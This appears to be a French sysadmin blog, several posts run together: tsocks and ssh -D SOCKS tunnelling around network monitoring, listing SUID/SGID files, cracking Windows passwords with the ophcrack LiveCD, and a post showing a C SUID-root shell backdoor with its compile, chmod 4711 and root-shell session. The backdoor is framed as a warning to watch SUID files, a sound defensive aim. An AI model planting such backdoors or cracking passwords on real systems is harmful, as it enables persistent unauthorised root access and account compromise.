• Introduction

tsocks permet en gros, de faire passer par un proxy Socks, des applications qui nativement ne le permettent pas. Il permet donc, par exemple, de faire passer une appli par le proxy Socks d’OpenSSH et donc de chiffrer les données…(voir billet précédent).

tsocks' role is to allow these non SOCKS aware applications (e.g telnet, ssh, ftp etc) to use SOCKS without any modification. It does this by intercepting the calls that applications make to establish network connections and negotating them through a SOCKS server as necessary.

  • Installation

Sous Debian/Ubuntu un simple:

sudo apt-get install tsocks
  • Les fichiers principaux:

Le fichier de conf /etc/tsocks.conf Le binaire /usr/bin/tsocks La librairie /usr/lib/libtsocks.so

  • Configuration:

Modifier le fichier /etc/tsocks.conf Il permet d’indiquer:

. les réseaux qui accéderont sans proxy Socks

. les proxy socks à utiliser en fonctions des réseaux à accéder

. le proxy socks par défaut

Dans le cas d’utilisation d’un proxy Socks lancé localement par OpenSSH sur le port 1234, la configuration de tsocks sera du type:

 server = 127.0.0.1   
 server_port = 1234   
 server_type = 5
  • Utilisation
  • Soit on envoi directement toutes les applis lançées dans ce shell vers tsocks (et donc à travers le tunnel SSH dans notre cas) avec:
source tsocks -on  
source tsocks -off  

On peut voir si la librairie est chargée avec:

$ env |grep LD_PRELOAD  
 ou  

$ source tsocks -show  
LD_PRELOAD="/usr/lib/libtsocks.so"  
  • Soit on envoit les applis “une par une” vers tsocks (et donc le tunnel OpenSSH) avec:
tsocks <NomAppli>
tsocks liferea &

On peut vérifier avec quelquechose comme:

$ wget -O - -q http://www.whatismyip.org  
1.1.1.1  
$ tsocks wget -O - -q http://www.whatismyip.org  
2.2.2.2  
  • Conclusion:

Ce type de connexion (appli -> [tsocks -> OpenSSH]-> ressource ) peut permettre aussi bien de “sortir” d’un réseau “non sûr” (Accès Wifi…) en passant par son Pc perso par exemple, que d’accéder de l’extérieur aux ressources “internes” d’un réseau d’entreprise…

Ce billet présente l’utilisation de l’option -D de la commande ssh.
Pour illustrer cette option, prenons le cas ou vous êtes dans un réseau “non sûr” et que vous voulez surfez sans que le réseau dans lequel vous êtes puisse trop vous surveiller…

Prérequis: vous avez une machine chez vous en adsl sur laquelle écoute un serveur SSH (de préférence sur le port 80 ou 443 dans notre exemple) mais sur laquelle il n’y a pas besoin d’avoir un Squid ou autre…

Il suffit alors de monter un tunnel SSH vers le serveur à la maison (même à travers un proxy Http) et de surfer à l’intérieur du tunnel pour sortir réellement sur le net par la ligne de la maison…

-D port
Specifies a local “dynamic” application-level port forwarding. This works by allocating a socket to listen to port on the local side, and whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported,[…]

  • Le petit dessin illustrant la communication de l’exemple ci-dessous:

ssh-D-yannickAvril2006

  • On lançe sur la machine client la commande SSH:
ssh -D 1111 -p 443 login@srvMaison
  • Il suffit ensuite de configurer notre client Http (Firefox) pour utiliser un proxy Socks sur le serveur 127.0.0.1 sur le port 1111

ssh-D-firefoxAvril2007

  • La même chose en graphique avec putty:

ssh-D-puttyAvril2006

  • Et les autres applis ne pouvant pas être configurées pour utiliser un proxy SOCKS ?

ahhhh… eh bien c’est possible aussi… et c’est l’objet du billet suivant

PS: Attention à la confidentialité des requètes DNS qui ne passent pas dans le tunnel…

Suite au billet Script pour repasser root, voici un petit topo sur SUID/SGID dont la commande pour lister ces fichiers…

s utiliser l’ID du propriétaire ou du groupe propriétaire du fichier lors de l’exécution

  • Recherche des fichiers SUID/SGID:
$ find /usr/bin/ -type f ( -perm -4000 -o -perm -2000 )  
/usr/bin/wall  
/usr/bin/newgrp  
/usr/bin/chage  
/usr/bin/chfn  
$ find /usr/bin/ -type f ( -perm -4000 -o -perm -2000 ) -exec ls -la {} \;  
-rwxr-sr-x 1 root tty 9824 2005-09-20 18:43 /usr/bin/wall  
-rwsr-xr-x 1 root root 22932 2006-03-13 00:14 /usr/bin/newgrp  
-rwxr-sr-x 1 root shadow 34032 2006-03-13 00:14 /usr/bin/chage

$ find / -type f ( -perm -4000 -o -perm -2000 ) -exec ls -la {} \; 2>/dev/null > /tmp/suidfiles.txt

-perm -mode
Fichier ayant au moins toutes les autorisations indiquées dans le mode.

Le premier chiffre correspond aux attributs Set-UID (4), Set-GID (2)[…].
Le second chiffre correspond aux autorisations de lecture (4), écriture (2) et exécution pour l’utilisateur propriétaire du fichier.
Les troisième et quatrième chiffres correspondent respectivement aux autorisations d’accès pour les membres du groupe du fichier, et pour les autres utilisateurs.

Je viens de tester le LiveCD de http://ophcrack.sourceforge.net/

Son avantage sur L0phtCrack, c’est la rapidité. (Utilisation de rainbow tables)…
Son avantage sur The Offline NT Password Editor, c’est qu’il retrouve le mot de passe au lieu de juste le remplacer…

On boote dessus, et sans rien faire, il trouve la partition Windows et la SAM, charge les tables, et commence les comparaisons…

Je viens de tester sur un XP avec un mot de passe (qui n’est pas un mot du dictionnaire) composé de:

  • 3 majuscules
  • 2 minuscules
  • 3 chiffres

…il a trouvé en 2 minutes environ sur une machine à 2,8 Ghz…

J’ai essayé en mettant un caractère spécial et il n’a pas trouvé la partie qui contenanait ce caractère.
Il semble qu’on puisse acheter une version pour avoir les caractères spéciaux etc..

Une fois qu’un user a eu les droits root une fois, il est très simple pour lui de se créer un moyen de repasser root ultérieurement sans avoir à rentrer de mot de passe…

Conclusion:

  • Ne pas donner un accès root à un user en se disant que de toute façon on changera le mot de passe après.
  • Surveiller les fichiers SUID/GUID du système
$ cat /tmp/back.c   

#include <unistd.h>  
int main(int ac, char av)  
{  
setuid(0);  
setgid(0);  
execl("/bin/sh", "sh", 0);  
}
# gcc -o backd back.c  
# chmod 4711 backd  
# ll /tmp/|grep back  
-rw-r--r-- 1 root root 101 Apr 13 11:01 back.c  
-rws--x--x 1 root root 7242 Apr 13 11:02 backd  
$ ./backd   
sh-3.00# id  
uid=0(root) gid=0(root) groupes=[...]  
sh-3.00#   
sh-3.00# whoami  
root  
sh-3.00#